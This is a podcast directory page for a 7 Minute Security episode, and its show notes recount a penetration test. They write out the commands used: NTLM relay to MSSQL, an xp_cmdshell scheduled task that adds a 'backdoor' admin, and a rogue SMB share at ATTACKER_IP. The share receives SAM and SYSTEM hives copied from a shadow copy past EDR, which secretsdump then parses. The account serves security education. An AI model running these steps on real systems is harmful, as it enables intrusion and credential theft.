Skip to content
PodSubs
ShowsPeopleGuestsJobsNewsEvents
More
BlogPodCred
Menu
ShowsPeopleGuestsJobsNewsEventsBlogPodCredNetworksSign in
Join nowSign in
  • Shows
  • People
  • Jobs
  • News
  • More
    • Guests
    • Events
    • Blog
    • PodCred
    • Networks
    Join nowSign in

7 Minute Security

7 Minute Security artwork

7MS #692: Tales of Pentest Pwnage – Part 76

Sep 12, 202533 minAudio
ShareXLinkedInFacebookWhatsAppEmail

Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/. I relayed the DA account to a SQL box that BloodHound said had a "session" from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance". Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it - EDR was unhappy. In the end, the bizarre combo of things that did the trick was: Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share. -username toteslegit -password 'DontMindMeLOL!' From the victim system, I did an mklink to the shadow copy: mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\ From command prompt on the victim system, I authenticated to my rogue share: net use \\ATTACKER_IP\share /user:toteslegit DontMindMeLOL! Then I did a copy command for the first hive: copy SYSTEM \\my.attackingip\sys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed! I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!! Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

Audio and video play straight from the show's own hosting. PodSubs stores and serves no media.

Hosts and Guests

Nobody is credited on this episode yet.

Credit the people on this episode

Be the first to rate this episode

More episodes

All episodes
  1. 7MS #748: How to Secure Your Community – Part 4

    Nov 13, 202624 minAudio

    Today we're dusting off the Securing Your Community mini-series for part 4! I recap parts 1-3 (Operation Metro Surge, locking down Signal notification previews, and a handy iPhone trick that forces PIN-only unlock)....

    Credit the people on this episode

  2. 7MS #747: Tales of Pentest Pwnage – Part 92

    Nov 6, 202629 minAudio

    Today's tale of pentest pwnage is about a GPO escalation path I'd seen before but could never get working, until a bloodhoundcli update introduced me to GroupPolicyBackdoor. I'll cover how it let me target one specific...

    Credit the people on this episode

  3. 7MS #746: Claude is Really Good at PowerPoint

    Oct 30, 202634 minAudio

    Hey friends, today I'm sharing something that might be obvious, but really helped save my bacon this week: Claude is very good at PowerPoint. I was working on a presentation with my friends at Netwrix (go catch the...

    Credit the people on this episode

  4. 7MS #745: Securing Your Family During and After a Disaster – Part 10

    Oct 23, 202623 minAudio

    This episode is a downer, but asks some important topics related to losing a loved one: Do you know what their wishes are for their funeral, their money, cremation vs. burial vs. other? Do you know all the places they...

    Credit the people on this episode

  5. 7MS #744: Using n8n to Automate the Security Dog Food

    Oct 17, 202627 minAudio

    Hey friends! Today I'm mashing two of our mini-series - eating the security dog food and my new obsession with n8n - into one big automation sandwich. I'll walk you through how Claude and a bunch of JSON files helped me...

    Credit the people on this episode